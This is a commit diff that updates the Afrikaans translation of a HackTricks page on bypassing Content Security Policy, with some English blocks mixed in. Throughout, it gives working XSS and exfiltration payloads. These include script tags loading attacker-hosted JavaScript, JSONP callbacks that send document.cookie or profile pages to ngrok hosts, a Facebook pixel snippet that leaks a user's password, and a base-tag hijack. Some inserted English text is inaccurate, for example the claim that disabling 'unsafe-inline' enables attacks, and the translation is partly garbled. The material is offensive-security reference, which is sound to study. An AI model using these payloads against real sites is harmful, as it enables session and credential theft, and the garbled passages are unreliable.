mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 06:30:37 +00:00
Translated ['pentesting-web/content-security-policy-csp-bypass/README.md
This commit is contained in:
parent
6efb133b0b
commit
3b8be876cc
1 changed files with 107 additions and 101 deletions
|
@ -1,14 +1,14 @@
|
|||
# Inhoudsbeveiligingsbeleid (CSP) Omgang
|
||||
# Inhoudsbeveiligingsbeleid (CSP) Omleiding
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS hak van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
|
@ -16,13 +16,13 @@ Ander maniere om HackTricks te ondersteun:
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om met ervare hackers en foutbeloningsjagters te kommunikeer!
|
||||
Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om te kommunikeer met ervare hackers en foutbeloningsjagters!
|
||||
|
||||
**Hakinsigte**\
|
||||
Gaan in gesprek met inhoud wat die opwinding en uitdagings van hak bevat
|
||||
**Hacker-insigte**\
|
||||
Raak betrokke by inhoud wat die opwinding en uitdagings van hackery ondersoek
|
||||
|
||||
**Haknuus in Werklikheid**\
|
||||
Bly op hoogte van die snelveranderende hakwêreld deur werklike nuus en insigte
|
||||
**Hacker Nuus in Werklikheid**\
|
||||
Bly op hoogte van die snelveranderende hackery-wêreld deur middel van nuus en insigte in werklikheid
|
||||
|
||||
**Nuutste Aankondigings**\
|
||||
Bly ingelig met die nuutste foutbelonings wat bekendgestel word en kritieke platformopdaterings
|
||||
|
@ -31,7 +31,7 @@ Bly ingelig met die nuutste foutbelonings wat bekendgestel word en kritieke plat
|
|||
|
||||
## Wat is CSP
|
||||
|
||||
Inhoudsbeveiligingsbeleid (CSP) word erken as 'n blaaitegnologie, hoofsaaklik gemik op **beskerming teen aanvalle soos kruissite-skripsing (XSS)**. Dit werk deur paaie en bronne te definieer en te beskryf waarvandaan hulpbronne veilig deur die blaaier gelaai kan word. Hierdie hulpbronne sluit 'n verskeidenheid elemente in soos beelde, rame, en JavaScript. Byvoorbeeld, 'n beleid mag die laai en uitvoering van hulpbronne van dieselfde domein (self) toelaat, insluitend inline hulpbronne en die uitvoering van string-kode deur funksies soos `eval`, `setTimeout`, of `setInterval`.
|
||||
Inhoudsbeveiligingsbeleid (CSP) word erken as 'n webblaaitegnologie, hoofsaaklik gemik op **beskerming teen aanvalle soos kruissite-skripsing (XSS)**. Dit funksioneer deur paaie en bronne te definieer en te beskryf waarvandaan hulpbronne veilig deur die blaaier gelaai kan word. Hierdie hulpbronne behels 'n verskeidenheid elemente soos beelde, rame, en JavaScript. Byvoorbeeld, 'n beleid mag die laai en uitvoering van hulpbronne van dieselfde domein (self) toelaat, insluitend inline hulpbronne en die uitvoering van string-kode deur funksies soos `eval`, `setTimeout`, of `setInterval`.
|
||||
|
||||
Implementering van CSP word gedoen deur **responskoppe** of deur **meta-elemente in die HTML-bladsy** in te sluit. Volgens hierdie beleid dwing blaaier aktief hierdie bepalings af en blokkeer onmiddellik enige opgespoorde oortredings.
|
||||
|
||||
|
@ -43,16 +43,16 @@ Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com;
|
|||
```xml
|
||||
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
|
||||
```
|
||||
### Opdraggewers
|
||||
### Opkopies
|
||||
|
||||
CSP kan afgedwing of gemonitor word deur hierdie opdraggewers te gebruik:
|
||||
CSP kan afgedwing of gemonitor word deur hierdie opkopies te gebruik:
|
||||
|
||||
* `Content-Security-Policy`: Dwings die CSP af; die webblaaier blokkeer enige oortredings.
|
||||
* `Content-Security-Policy-Report-Only`: Word gebruik vir monitering; rapporteer oortredings sonder om hulle te blokkeer. Ideaal vir toetsing in voor-produksie-omgewings.
|
||||
|
||||
### Definiëring van Hulpbronne
|
||||
|
||||
CSP beperk die oorspronge vir die laai van beide aktiewe en passiewe inhoud, en beheer aspekte soos die uitvoering van inline JavaScript en die gebruik van `eval()`. 'n Voorbeeldbeleid is:
|
||||
CSP beperk die oorspronge vir die laai van beide aktiewe en passiewe inhoud, wat aspekte soos inline JavaScript-uitvoering en die gebruik van `eval()` beheer. 'n Voorbeeldbeleid is:
|
||||
```bash
|
||||
default-src 'none';
|
||||
img-src 'self';
|
||||
|
@ -80,23 +80,23 @@ object-src 'none';
|
|||
* **base-uri**: Spesifiseer toegelate URL's vir die laai met behulp van `<base>` elemente.
|
||||
* **form-action**: Lys geldige eindpunte vir vormindienings.
|
||||
* **plugin-types**: Beperk mime-tipes wat 'n bladsy mag aanroep.
|
||||
* **upgrade-insecure-requests**: Gee aan dat webblaaie HTTP-URL's na HTTPS moet omskryf.
|
||||
* **upgrade-insecure-requests**: Gee browsers opdrag om HTTP-URL's na HTTPS te herskryf.
|
||||
* **sandbox**: Pas beperkings toe soortgelyk aan die sandbokskenmerk van 'n `<iframe>`.
|
||||
* **report-to**: Spesifiseer 'n groep aan wie 'n verslag gestuur sal word as die beleid oortree word.
|
||||
* **report-to**: Spesifiseer 'n groep na wie 'n verslag gestuur sal word as die beleid oortree word.
|
||||
* **worker-src**: Spesifiseer geldige bronne vir Worker, SharedWorker, of ServiceWorker skripte.
|
||||
* **prefetch-src**: Spesifiseer geldige bronne vir bronne wat gelaai of voorgelaai sal word.
|
||||
* **prefetch-src**: Spesifiseer geldige bronne vir bronne wat gelaai of voorafgelaai sal word.
|
||||
* **navigate-to**: Beperk die URL's waarna 'n dokument kan navigeer op enige manier (a, vorm, window.location, window.open, ens.)
|
||||
|
||||
### Bronne
|
||||
|
||||
* `*`: Laat alle URL's toe behalwe dié met `data:`, `blob:`, `filesystem:` skemas.
|
||||
* `'self'`: Laat laai van dieselfde domein toe.
|
||||
* `'data'`: Laat bronne toe om gelaai te word via die data-skema (bv., Base64-geënkripteer afbeeldings).
|
||||
* `'none'`: Blokkeer laai van enige bron.
|
||||
* `'self'`: Laat laai vanaf dieselfde domein toe.
|
||||
* `'data'`: Laat bronne toe om gelaai te word via die data-skema (bv., Base64-gekodeerde afbeeldings).
|
||||
* `'none'`: Blokkeer laai vanaf enige bron.
|
||||
* `'unsafe-eval'`: Laat die gebruik van `eval()` en soortgelyke metodes toe, nie aanbeveel vir veiligheidsredes nie.
|
||||
* `'unsafe-hashes'`: Stel spesifieke inline gebeurtenishanteerders in staat.
|
||||
* `'unsafe-inline'`: Laat die gebruik van inline bronne soos inline `<script>` of `<style>` toe, nie aanbeveel vir veiligheidsredes nie.
|
||||
* `'nonce'`: 'n Witlys vir spesifieke inline skripte deur 'n kriptografiese nonce (eenmalige nommer) te gebruik.
|
||||
* `'nonce'`: 'n Witlys vir spesifieke inline skripte wat 'n kriptografiese nonce (eenmalige nommer) gebruik.
|
||||
* As jy beperkte JS-uitvoering het, is dit moontlik om 'n gebruikte nonce binne die bladsy te kry met `doc.defaultView.top.document.querySelector("[nonce]")` en dit dan hergebruik om 'n skadelike skrip te laai (as strict-dynamic gebruik word, kan enige toegelate bron nuwe bronne laai, so dit is nie nodig nie), soos in:
|
||||
|
||||
<details>
|
||||
|
@ -117,11 +117,11 @@ b.nonce=a.nonce; doc.body.appendChild(b)'>
|
|||
* `'strict-dynamic'`: Laat skripte van enige bron toe as dit deur 'n nonce of hash op die witlys geplaas is.
|
||||
* `'host'`: Spesifiseer 'n spesifieke gasheer, soos `example.com`.
|
||||
* `https:`: Beperk URL's tot dié wat HTTPS gebruik.
|
||||
* `blob:`: Laat hulpbronne toe om van Blob-URL's (bv., Blob-URL's wat deur JavaScript geskep is) gelaai te word.
|
||||
* `blob:`: Laat hulpbronne toe om van Blob-URL's gelaai te word (bv., Blob-URL's wat deur JavaScript geskep is).
|
||||
* `filesystem:`: Laat hulpbronne toe om van die lêersisteem gelaai te word.
|
||||
* `'report-sample'`: Sluit 'n monster van die oortredende kode in die oortredingsverslag in (nuttig vir foutopsporing).
|
||||
* `'strict-origin'`: Soortgelyk aan 'self' maar verseker dat die protokol-sekuriteitsvlak van die bronne ooreenstem met die dokument (slegs veilige bronne kan hulpbronne van veilige bronne laai).
|
||||
* `'strict-origin-when-cross-origin'`: Stuur volledige URL's wanneer dieselfde-oorsprongversoeke gedoen word, maar stuur slegs die oorsprong wanneer die versoek kruis-oorsprong is.
|
||||
* `'strict-origin-when-cross-origin'`: Stuur volledige URL's wanneer dieselfde-oorsprongversoeke gemaak word, maar stuur slegs die oorsprong wanneer die versoek kruis-oorsprong is.
|
||||
* `'unsafe-allow-redirects'`: Laat toe dat hulpbronne gelaai word wat onmiddellik na 'n ander hulpbron sal omskakel. Nie aanbeveel nie omdat dit die sekuriteit verswak.
|
||||
|
||||
## Onveilige CSP-reëls
|
||||
|
@ -142,19 +142,19 @@ Content-Security-Policy: script-src https://google.com 'unsafe-inline';
|
|||
```yaml
|
||||
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
|
||||
```
|
||||
Werkende lading:
|
||||
### Werkende lading:
|
||||
```html
|
||||
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
|
||||
```
|
||||
### streng-dinamies
|
||||
|
||||
As jy op een of ander manier kan bewerkstellig dat 'n **toegelate JS-kode 'n nuwe skriptag in die DOM met jou JS-kode skep**, sal die **nuwe skriptag toegelaat word om uitgevoer te word**.
|
||||
Indien jy op een of ander manier kan bewerkstellig dat **toegelate JS-kode 'n nuwe skriptag in die DOM met jou JS-kode skep**, sal die **nuwe skriptag toegelaat word om uitgevoer te word** omdat 'n toegelate skrip dit skep.
|
||||
|
||||
### Wildcard (\*)
|
||||
```yaml
|
||||
Content-Security-Policy: script-src 'self' https://google.com https: data *;
|
||||
```
|
||||
### Werkende lading:
|
||||
Werkende lading:
|
||||
```markup
|
||||
"/>'><script src=https://attacker-website.com/evil.js></script>
|
||||
"/>'><script src=data:text/javascript,alert(1337)></script>
|
||||
|
@ -162,7 +162,7 @@ Content-Security-Policy: script-src 'self' https://google.com https: data *;
|
|||
### Gebrek aan object-src en default-src
|
||||
|
||||
{% hint style="danger" %}
|
||||
**Dit lyk asof dit nie meer werk nie**
|
||||
**Dit lyk of dit nie meer werk nie**
|
||||
{% endhint %}
|
||||
```yaml
|
||||
Content-Security-Policy: script-src 'self' ;
|
||||
|
@ -185,13 +185,13 @@ Werkende lading:
|
|||
```
|
||||
Echter, dit is hoogs waarskynlik dat die bediener die opgelaaide lêer **valideer** en sal slegs toelaat dat jy 'n **bepaalde tipe lêers oplaai**.
|
||||
|
||||
Selfs al sou jy 'n **JS-kode binne** 'n lêer kon oplaai deur 'n aanvaarde uitbreiding deur die bediener te gebruik (soos: _script.png_), sal dit nie genoeg wees nie omdat sommige bedieners soos Apache-bedieners die **MIME-tipe van die lêer kies op grond van die uitbreiding** en webblaaier soos Chrome sal weier om Javascript-kode uit te voer binne iets wat 'n beeld behoort te wees. "Hopelik" is daar foute. Byvoorbeeld, van 'n CTF het ek geleer dat **Apache nie weet van** die _**.wave**_ uitbreiding nie, daarom dien dit dit nie met 'n **MIME-tipe soos audio/\*** nie.
|
||||
Selfs al sou jy 'n **JS-kode binne** 'n lêer kon oplaai met 'n deur die bediener aanvaarde uitbreiding (soos: _script.png_), sal dit nie genoeg wees nie omdat sommige bedieners soos Apache-bedieners die **MIME-tipe van die lêer kies op grond van die uitbreiding** en webblaaier soos Chrome sal **weier om Javascript**-kode uit te voer binne iets wat 'n beeld behoort te wees. "Hopelik" is daar foute. Byvoorbeeld, van 'n CTF het ek geleer dat **Apache nie weet van** die _**.wave**_ uitbreiding nie, daarom dien dit dit nie met 'n **MIME-tipe soos audio/\*** nie.
|
||||
|
||||
Vanaf hier, as jy 'n XSS vind en 'n lêeroplaai, en jy slaag daarin om 'n **verkeerd geïnterpreteerde uitbreiding** te vind, kan jy probeer om 'n lêer met daardie uitbreiding en die inhoud van die skrip op te laai. Of, as die bediener die korrekte formaat van die opgelaaide lêer nagaan, skep 'n poliglott ([sommige poliglott-voorbeelde hier](https://github.com/Polydet/polyglot-database)).
|
||||
Vanaf hier, as jy 'n XSS en 'n lêeroplaai vind, en jy slaag daarin om 'n **verkeerd geïnterpreteerde uitbreiding** te vind, kan jy probeer om 'n lêer met daardie uitbreiding en die inhoud van die skrip op te laai. Of, as die bediener die korrekte formaat van die opgelaaide lêer nagaan, skep 'n poliglott ([sommige poliglott-voorbeelde hier](https://github.com/Polydet/polyglot-database)).
|
||||
|
||||
### Vorm-aksie
|
||||
### Form-action
|
||||
|
||||
Indien dit nie moontlik is om JS in te spuit nie, kan jy steeds probeer om byvoorbeeld geloofsbriewe te eksfiltreer deur 'n vormaksie in te spuit (en miskien wagwoordbestuurders te verwag om wagwoorde outomaties in te vul). Jy kan 'n [**voorbeeld in hierdie verslag**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp) vind. Let ook daarop dat `default-src` nie vormaksies dek nie.
|
||||
Indien dit nie moontlik is om JS in te spuit nie, kan jy steeds probeer om byvoorbeeld geloofsbriewe te **eksfileer deur 'n vormaksie in te spuit** (en miskien wagwoordbestuurders te verwag om wagwoorde outomaties in te vul). Jy kan 'n [**voorbeeld in hierdie verslag**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp) vind. Let ook daarop dat `default-src` nie vormaksies dek nie.
|
||||
|
||||
### Derdeparty-eindpunte + ('unsafe-eval')
|
||||
|
||||
|
@ -252,7 +252,7 @@ Die pos wys dat jy **alle biblioteke** van `cdn.cloudflare.com` (of enige ander
|
|||
```
|
||||
### Bypassing Content Security Policy (CSP) using Angular XSS from a class name:
|
||||
|
||||
### Om inhoudsbeveiligingsbeleid (CSP) te omseil deur Angular XSS vanaf 'n klassenaam:
|
||||
### Omseil van Inhoud Sekuriteitsbeleid (CSP) deur Angular XSS vanaf 'n klassenaam:
|
||||
```html
|
||||
<div ng-app>
|
||||
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
|
||||
|
@ -300,7 +300,7 @@ Content-Security-Policy: script-src 'self' https://www.google.com https://www.yo
|
|||
```
|
||||
### Afrikaans Translation
|
||||
|
||||
Skemas soos hierdie waar `script-src` ingestel is op `self` en 'n spesifieke domein wat op die witlys is, kan omseil word deur JSONP te gebruik. JSONP-eindpunte maak onveilige terugroepmetodes moontlik wat 'n aanvaller in staat stel om XSS uit te voer, werkende lading:
|
||||
Situasies soos hierdie waar `script-src` ingestel is op `self` en 'n spesifieke domein wat op die witlys is, kan omseil word deur JSONP te gebruik. JSONP-eindpunte maak onveilige terugroepmetodes moontlik wat 'n aanvaller in staat stel om XSS uit te voer, werkende lading:
|
||||
```markup
|
||||
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
|
||||
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
|
||||
|
@ -310,7 +310,7 @@ Skemas soos hierdie waar `script-src` ingestel is op `self` en 'n spesifieke dom
|
|||
https://www.youtube.com/oembed?callback=alert;
|
||||
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
|
||||
```
|
||||
[**JSONBee**](https://github.com/zigoo0/JSONBee) **bevat gereed om JSONP eindpunte te gebruik vir CSP omseiling van verskillende webwerwe.**
|
||||
[**JSONBee**](https://github.com/zigoo0/JSONBee) **bevat gereedskap om JSONP eindpunte te gebruik vir CSP deurbraak van verskillende webwerwe.**
|
||||
|
||||
Dieselfde kwesbaarheid sal voorkom as die **vertroude eindpunt 'n Oop Aansturing bevat** omdat as die aanvanklike eindpunt vertrou word, is aanstuurings vertrou.
|
||||
|
||||
|
@ -329,7 +329,7 @@ Soos beskryf in die [volgende pos](https://sensepost.com/blog/2023/dress-code-th
|
|||
| Salesforce Heroku | \*.herokuapp.com | Uitsif, Uitvoer|
|
||||
| Google Firebase | \*.firebaseapp.com | Uitsif, Uitvoer|
|
||||
|
||||
As jy enige van die toegelate domeine in die CSP van jou teiken vind, is die kans groot dat jy die CSP kan omseil deur op die derde party-diens te registreer en óf data na daardie diens uit te sif óf kode uit te voer.
|
||||
As jy enige van die toegelate domeine in die CSP van jou teiken vind, is die kans groot dat jy die CSP kan deurbreek deur op die derde party-diens te registreer en óf data na daardie diens uit te sif óf kode uit te voer.
|
||||
|
||||
Byvoorbeeld, as jy die volgende CSP vind:
|
||||
```
|
||||
|
@ -343,39 +343,45 @@ In this section, we will discuss various techniques to bypass Content Security P
|
|||
|
||||
#### What is CSP?
|
||||
|
||||
Content Security Policy (CSP) is an added layer of security that helps to detect and mitigate certain types of attacks, such as Cross Site Scripting (XSS) and data injection attacks. CSP is implemented by using an HTTP header to restrict the types of content that can be loaded on a web page.
|
||||
Content Security Policy (CSP) is an added layer of security that helps to detect and mitigate certain types of attacks, such as Cross Site Scripting (XSS) and data injection attacks. CSP works by defining the sources from which certain types of content can be loaded on a web page.
|
||||
|
||||
#### Bypassing CSP
|
||||
|
||||
There are several ways to bypass CSP, including:
|
||||
|
||||
1. **Inline Script Execution**: By finding ways to execute scripts inline within the HTML document.
|
||||
2. **External Script Execution**: Loading scripts from external sources that are not blocked by CSP.
|
||||
3. **Data Injection**: Injecting data into the page to execute malicious scripts.
|
||||
4. **Unsafe Inline**: Using `'unsafe-inline'` directive in the CSP header.
|
||||
5. **Nonce-Based CSP Bypass**: Generating and including a nonce value in the CSP header to allow specific inline scripts to run.
|
||||
1. **Inline Script Execution**: By using inline event handlers or inline script tags, attackers can execute arbitrary code on the web page.
|
||||
|
||||
By understanding these techniques, you can effectively test the security of web applications that have CSP implemented.
|
||||
2. **Unsafe Inline**: Disabling the `'unsafe-inline'` directive in the CSP policy allows attackers to execute inline scripts.
|
||||
|
||||
3. **Data Injection**: Injecting malicious code into trusted sources, such as script src URLs, can bypass CSP protections.
|
||||
|
||||
4. **Nonce Bypass**: If a website uses nonces for script-src, an attacker can bypass CSP by injecting a valid nonce value.
|
||||
|
||||
5. **Self XSS**: Tricking a user into executing malicious code on their own behalf can bypass CSP protections.
|
||||
|
||||
By understanding these techniques, security professionals can better protect web applications against CSP bypass vulnerabilities.
|
||||
```
|
||||
Content-Security-Policy: connect-src www.facebook.com;
|
||||
```
|
||||
1. Skep 'n Facebook-ontwikkelaarsrekening hier.
|
||||
2. Skep 'n nuwe "Facebook-aanmelding" -toep en kies "Webwerf".
|
||||
3. Gaan na "Instellings -> Basies" en kry jou "Toep-ID".
|
||||
4. Op die teikensite waarvandaan jy data wil eksfiltreer, kan jy data eksfiltreer deur direk die Facebook SDK-toestel "fbq" te gebruik deur 'n "customEvent" en die datapakket.
|
||||
5. Gaan na jou Toep "Gebeurtenisbestuurder" en kies die toep wat jy geskep het (let op dat die gebeurtenisbestuurder gevind kan word in 'n URL soortgelyk aan hierdie: https://www.facebook.com/events\_manager2/list/pixel/\[toep-id]/test\_events
|
||||
Jy behoort in staat te wees om data uit te voer, soortgelyk aan hoe dit altyd gedoen is met [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass). In hierdie geval, volg hierdie algemene stappe:
|
||||
|
||||
1. Skep 'n Facebook Ontwikkelaar rekening hier.
|
||||
2. Skep 'n nuwe "Facebook Login" program en kies "Webwerf".
|
||||
3. Gaan na "Instellings -> Basies" en kry jou "App ID".
|
||||
4. Op die teikensite waarvan jy data wil uitvoer, kan jy data uitvoer deur direk die Facebook SDK-toestel "fbq" te gebruik deur 'n "customEvent" en die data-lading.
|
||||
5. Gaan na jou App "Gebeurtenisbestuurder" en kies die aansoek wat jy geskep het (let op dat die gebeurtenisbestuurder gevind kan word in 'n URL soortgelyk aan hierdie: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events
|
||||
6. Kies die lêer "Toetsgebeurtenisse" om die gebeurtenisse te sien wat deur "jou" webwerf gestuur word.
|
||||
|
||||
Dan, aan die slagofferkant, voer jy die volgende kode uit om die Facebook-spoorpixel te inisieer om na die aanvaller se Facebook-ontwikkelaarsrekeningstoep-ID te wys en 'n aangepaste gebeurtenis uit te reik soos hierdie:
|
||||
Dan, aan die slagofferkant, voer jy die volgende kode uit om die Facebook-sporepixel te inisieer om na die aanvaller se Facebook-ontwikkelaarsrekening app-id te wys en 'n aangepaste gebeurtenis uit te reik soos hierdie:
|
||||
```JavaScript
|
||||
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
|
||||
fbq('trackCustom', 'My-Custom-Event',{
|
||||
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
|
||||
});
|
||||
```
|
||||
### Oorweging via RPO (Relatiewe Pad Oorskrywing) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
|
||||
### Omgang via RPO (Relatiewe Pad Overskrywing) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
|
||||
|
||||
Benewens die voorafgenoemde omleiding om padbeperkings te omseil, is daar 'n ander tegniek genaamd Relatiewe Pad Oorskrywing (RPO) wat op sommige bedieners gebruik kan word.
|
||||
Benewens die voorafgenoemde omleiding om padbeperkings te omseil, is daar 'n ander tegniek genaamd Relatiewe Pad Overskrywing (RPO) wat op sommige bedieners gebruik kan word.
|
||||
|
||||
Byvoorbeeld, as CSP die pad `https://example.com/scripts/react/` toelaat, kan dit so omseil word:
|
||||
```html
|
||||
|
@ -389,11 +395,11 @@ Dus, sal hulle dit ontsluit, effektief versoek `https://example.com/scripts/reac
|
|||
|
||||
Deur **hierdie inkonsekwentheid in URL-interpretasie tussen die browser en die bediener uit te buit, kan die padreëls omseil word**.
|
||||
|
||||
Die oplossing is om `%2f` nie as `/` aan die kant van die bediener te hanteer nie, om sodoende 'n konsekwente interpretasie tussen die browser en die bediener te verseker om hierdie probleem te voorkom.
|
||||
Die oplossing is om `%2f` nie as `/` aan die kant van die bediener te behandel nie, om sodoende 'n konsekwente interpretasie tussen die browser en die bediener te verseker om hierdie probleem te vermy.
|
||||
|
||||
Aanlyn Voorbeeld: [ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
|
||||
|
||||
### Iframes JS-uitvoering
|
||||
### Iframes JS uitvoering
|
||||
|
||||
{% content-ref url="../xss-cross-site-scripting/iframes-in-xss-and-csp.md" %}
|
||||
[iframes-in-xss-and-csp.md](../xss-cross-site-scripting/iframes-in-xss-and-csp.md)
|
||||
|
@ -403,29 +409,29 @@ Aanlyn Voorbeeld: [ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsb
|
|||
|
||||
Indien die **base-uri** riglyn ontbreek kan jy dit misbruik om 'n [**dangling markup injection**](../dangling-markup-html-scriptless-injection/) uit te voer.
|
||||
|
||||
Verder, as die **bladsy 'n skripsie laai deur 'n relatiewe pad** te gebruik (soos `<script src="/js/app.js">`) deur 'n **Nonce** te gebruik, kan jy die **base** **tag** misbruik om dit te laat **laai** die skripsie vanaf **jou eie bediener om 'n XSS te bereik.**\
|
||||
Verder, as die **bladsy 'n skrip laai deur 'n relatiewe pad** te gebruik (soos `<script src="/js/app.js">`) deur 'n **Nonce** te gebruik, kan jy die **base** **tag** misbruik om dit te laat **laai** die skrip vanaf **jou eie bediener om 'n XSS te bereik.**\
|
||||
Indien die kwesbare bladsy met **httpS** gelaai word, maak gebruik van 'n httpS-url in die basis.
|
||||
```html
|
||||
<base href="https://www.attacker.com/">
|
||||
```
|
||||
### AngularJS gebeure
|
||||
|
||||
'n Spesifieke beleid bekend as Inhoudsbeveiligingsbeleid (CSP) mag JavaScript-gebeure beperk. Nietemin, AngularJS stel aangepaste gebeure as 'n alternatief voor. Binne 'n gebeurtenis bied AngularJS 'n unieke objek `$event`, wat verwys na die inheemse blaaier-gebeurtenisobjek. Hierdie `$event` objek kan uitgebuit word om die CSP te omseil. Merkwaardig, in Chrome, besit die `$event/event` objek 'n `path` eienskap, wat 'n objekreeks bevat wat betrokke is by die uitvoerketting van die gebeurtenis, met die `window` objek wat onveranderlik aan die einde geplaas is. Hierdie struktuur is noodsaaklik vir sandputontsnappingstaktieke.
|
||||
'n Spesifieke beleid bekend as Inhoudsbeveiligingsbeleid (CSP) mag JavaScript-gebeure beperk. Nietemin, AngularJS stel aangepaste gebeure as 'n alternatief voor. Binne 'n gebeurtenis bied AngularJS 'n unieke objek `$event`, wat verwys na die inheemse blaaiergebeurtenisobjek. Hierdie `$event` objek kan benut word om die CSP te omseil. Merkwaardig, in Chrome, besit die `$event/event` objek 'n `path` eienskap, wat 'n objekreeks bevat wat betrokke is by die uitvoerketting van die gebeurtenis, met die `window` objek wat onveranderlik aan die einde geplaas word. Hierdie struktuur is noodsaaklik vir sandputontsnappingstaktieke.
|
||||
|
||||
Deur hierdie reeks na die `orderBy` filter te rig, is dit moontlik om daaroor te itereer, waar die terminalelement (die `window` objek) benut kan word om 'n globale funksie soos `alert()` te aktiveer. Die gedemonstreerde kodefragment hieronder verduidelik hierdie proses:
|
||||
Deur hierdie reeks na die `orderBy` filter te rig, is dit moontlik om daaroor te itereer, waardeur die terminalelement (die `window` objek) benut kan word om 'n globale funksie soos `alert()` te aktiveer. Die gedemonstreerde kodefragment hieronder verduidelik hierdie proses:
|
||||
```xml
|
||||
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
|
||||
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
|
||||
```
|
||||
Hierdie snipper lig die gebruik van die `ng-focus` riglyn uit om die gebeurtenis te trigger, deur `$event.path|orderBy` te gebruik om die `path` array te manipuleer, en deur die `window` objek te benut om die `alert()` funksie uit te voer, wat dus `document.cookie` blootstel.
|
||||
Hierdie snipper lig die gebruik van die `ng-focus` riglyn uit om die gebeurtenis te trigger, deur `$event.path|orderBy` te gebruik om die `path` array te manipuleer, en deur die `window` objek te benut om die `alert()` funksie uit te voer, en sodoende `document.cookie` bloot te stel.
|
||||
|
||||
**Vind ander Angular omleidings in** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
|
||||
|
||||
### AngularJS en witlys-domein
|
||||
### AngularJS en witgelysde domein
|
||||
```
|
||||
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
|
||||
```
|
||||
'n CSP-beleid wat domeine vir skriplading in 'n Angular JS-toepassing op 'n witlys plaas, kan omseil word deur die aanroeping van terugroepfunksies en sekere kwesbare klasse. Verdere inligting oor hierdie tegniek is beskikbaar in 'n gedetailleerde gids op hierdie [git-opberging](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh\*t,-it's-CSP!%22).
|
||||
'n CSP-beleid wat domeine vir skriplading in 'n Angular JS-toepassing op 'n witlys plaas, kan omseil word deur die aanroeping van terugroepfunksies en sekere kwesbare klasse. Verdere inligting oor hierdie tegniek is beskikbaar in 'n gedetailleerde gids op hierdie [git-opgaarplek](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh\*t,-it's-CSP!%22).
|
||||
|
||||
Werkende lading:
|
||||
```html
|
||||
|
@ -437,11 +443,11 @@ ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com
|
|||
```
|
||||
Ander JSONP-willekeurige uitvoerpunte kan gevind word in [**hier**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) (sommige van hulle is verwyder of reggemaak)
|
||||
|
||||
### Omgang deur middel van Herleiing
|
||||
### Omsnyding deur Herleiing
|
||||
|
||||
